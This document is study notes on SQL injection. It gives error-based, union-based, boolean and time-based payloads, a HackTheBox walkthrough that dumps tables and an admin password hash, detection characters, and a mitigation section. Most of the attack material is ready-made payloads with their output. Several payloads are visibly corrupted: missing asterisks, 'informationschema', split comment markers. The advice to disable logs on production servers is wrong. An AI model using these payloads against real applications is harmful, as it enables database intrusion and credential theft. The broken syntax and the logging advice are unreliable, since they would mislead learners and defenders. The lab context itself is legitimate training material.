SQL Injection

It is an injection attack that makes it possible to execute malicious SQL queries. Impact: Can cause modification, deletion, and leaking of data or even a DOS attack.

Impact

• Unauthorized access of Database causing loss of confidentiality and integrity.

• Loss of data affecting availability of data.

• Remote code execution and administrative privileges

There are 3 types of SQLi:

• In-band (Classic)

• Inferential (Blind)

• Out-of-band

In-Band (Classic)

Attacker is able to access the results through the same channel as the attack.

Error-based

SQLi relies on error messages from DB/server.

// Breaking the query and receiving an error is proof that the SQLi works. We can form a query to fetch the results we need.
// Submit single quote ' to identify errors.

// Return version variable
0' AND (SELECT 0 FROM (SELECT count(), CONCAT((SELECT @@version), 0x23, FLOOR(RAND(0)2)) AS x FROM information_schema.columns GROUP BY x) y) - - '

// Dump DB
(select 1 and row(1,1)>(select count(*),concat(CONCAT(@@VERSION),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))

Union-based

SQLi is performed by using UNION operator by combining the results of two SELECTs in a single result.

SELECT user, pass FROM credentials UNION ALL SELECT name, address, ssn from users

// Identify the number of columns since both queries (client side and DB server) must return same number of columns.
// Identify correct number of columns using UNION, or ORDER BY, or GROUP BY.
    // Incorrect no. of columns
        1' UNION SELECT 1;- -
                //OR
        1' ORDER BY 1--+    #True
                //OR
        1' GROUP BY 1--+
    // Correct no. of columns
        1' UNION SELECT 1,2;- -
                //OR
        1' ORDER BY 3--+    #False
                //OR
        1' GROUP BY 3--+    #False

// ORDER BY or GROUP BY, both can be used.
    //ORDER BY 3--+ means that it will arrange by the 3rd column. If 3rd column does not exist, then it returns false.

    // Exploits:
        // Version
        UNION SELECT 1, @@version; - -
        // Current username
        UNION SELECT 1, current_user();- -
        // List tables
        1' UNION SELECT 1, tablename FROM informationschema.tables;- -
        // List Columns names
        1' UNION SELECT 1,columnname FROM informationschema.columns;- -
        
    

As an example, the "VERSION" parameter is vulnerable to SQLi and we use UNION operation to fetch the data from the database (From HackTheBox's Socket machine).

Input and Response:

// Input
Version: 0.0.2

// Response:
{"message": {"id": 2, "version": "0.0.2", "released_date": "26/09/2022", "downloads": 720}}

SQLi using UNION to fetch the information:

# Determine Database
//Input
Version: 0.0.3" UNION SELECT sqlite_version(), 2, 3, 4-- -
// Response:
{"message": {"id": "3.37.2", "version": 2, "released_date": 3, "downloads": 4}}

# List tables
0.0.3" UNION SELECT group_concat(name),2,3,4 FROM sqlite_master WHERE type='table'-- -
// Response:
{"message": {"id": "sqlite_sequence,versions,users,info,reports,answers", "version": 2, "released_date": 3, "downloads": 4}}

# List "Users" table's columns
0.0.3" UNION SELECT sql, 2, 3, 4 FROM sqlite_master WHERE name='users'-- -
// Response
{"message": {"id": "CREATE TABLE users (id INTEGER PRIMARY KEY AUTOINCREMENT, username TEXT, password DATE, role TEXT)", "version": 2, "released_date": 3, "downloads": 4}}

# Print the username, password, and role columns of Users table.
0.0.3" UNION SELECT username, password, role, 4 FROM users-- -
// Response
{"message": {"id": "admin", "version": "0c090c365fa0559b151a43e0fea39710", "released_date": "admin", "downloads": 4}}

# List "Answers" table's columns
0.0.3" UNION SELECT sql, 2, 3, 4 FROM sqlite_master WHERE name='answers'-- -
// Response
{"message": {"id": "CREATE TABLE answers (id INTEGER PRIMARY KEY AUTOINCREMENT, answered_by TEXT,  answer TEXT , answered_date DATE, status TEXT,FOREIGN KEY(id) REFERENCES reports(report_id))", "version": 2, "released_date": 3, "downloads": 4}}

# Print answered_by and answer from Answers table.
0.0.3" UNION SELECT answered_by, answer, 3, 4 FROM answers-- -
// Response
{"message": {"id": "admin", "version": "Hello Mike,\n\n We have confirmed a valid problem with handling non-ascii charaters. So we suggest you to stick with ascci printable characters for now!\n\nThomas Keller", "released_date": 3, "downloads": 4}}

We use sql, 2, 3, 4 in the payload UNION SELECT sql, 2, 3, 4 FROM sqlite_master WHERE name='users' because the original response contains four columns.

When performing a union-based SQL injection, it's important to match the structure of the original query. In this case, the original query in the response contains four columns. So, when we inject our union select statement, we need to provide values for all four columns, even if we are only interested in the sql column.

By using 2, 3, 4 as placeholders, we ensure that the injected union select statement has the same structure as the original query, with four columns. The actual values in columns 2, 3, and 4 are not relevant to the current query, but they need to be included to maintain the correct structure and avoid syntax errors.

Inferential (Blind)

Attacker isn't able to see the results, therefore its known as Blind SQLi. It is performed by observing the application's response and behaviour of DB.

Boolean-based

SQLi relies on sending a query that returns a result depending on whether the statement is TRUE or FALSE.

Normally, there is no response shown on the page but the result of query can be determined using HTTP status code or size of the page, or even if the application crashes.

// Test SQL using boolean based payload
// Example:
    http://vulnsite.com/hacker.php?id=4
    // Query in DB:
    SELECT name, pass, FROM hackers WHERE ID=4
    // Malicious payload
    http://vulnsite.com/hacker.php?id=4 and 0=1
    // Query in DB:
    SELECT name, pass, FROM hackers WHERE ID=4 and 0=1
    // If application is vulnerable, no response.

// Another example: If 1 is a valid ID, and '1=1' is TRUE, normal response.
1' and 1=1;- -

Time-based

SQLi relies on sending a query that forces the DB to wait/sleep for specified amount of time before responding.

// Time Delays
'; IF (1=2) WAITFOR DELAY '0:0:10'--        #No Delay because 1=2 is false
'; IF (1=1) WAITFOR DELAY '0:0:10'--        #Delay because 1=1 is true.

http://www.vulnsite.com/hacker.php?id=4' waitfor delay '00:00:10'--

Out-of-band

Result of SQLi is received through another channel such as another server. It is rare to find since it depends on some features being enabled on the DB.

For example, using xp_dirtree command in MS SQL that is used to make DNS requests to a server that an attacker controls. Most production networks allow DNS queries.

Second order SQLi

When an input is stored for future use is executed as a query when handling a different request.

For example, query in username field.

bob; update users set password="" where user=admin

Entry Points and Detection

User-controlled parameters that are processed by the application.

• GET requests in URLs.

https://vulnsite.com/login.php?user=bob&password='or'1'='1

• POST requests in the body.

http://vulnsite.com/login.php
//POST request

POST /login.php HTTP/1.1
Host: vulnsite.com
Referer: http://vulnsite.com/login.php
[...]

[email protected]'        #Single quote to break the query

• Browser information: user-agent, referrer.

• Host information: host name, IP.

• Session information: user ID, cookies.

Detection

Break the SQL query through any of the user-controlled parameters by trying any of the following:

'
"
`
')
")
`)
'))
"))
`

Mitigation

• Input validation: Sanitize all inputs. Filter malicious code inputs.

  • Whilelisting/Blacklisting characters for input fields.

• Parameterized Queries: Apps should never use input directly. User input should not be used as the query itself.

  • Use prepared statements.

  • In the below example, instead of concatenating the user input to the query, the PreparedStatement only takes the value that it requires.

Ruby on Rails example:

Person.find :all, :conditions => ['id = ? or name = ?', id, name]

Java example:

String uid = request.getParameter("userid");
String query = SELECT loan_amount FROM users WHERE user_id = ?";
PreparedStatement pstmt = connection.prepareStatement( query );
pstmt.setString(1, uid);
ResultSet results = pstmt.executeQuery( );

• Enforce least privileges for databases.

• Use a Web Application Firewall (WAF)

• Logs should be disabled on production server.

• Patch all applications, servers, and databases.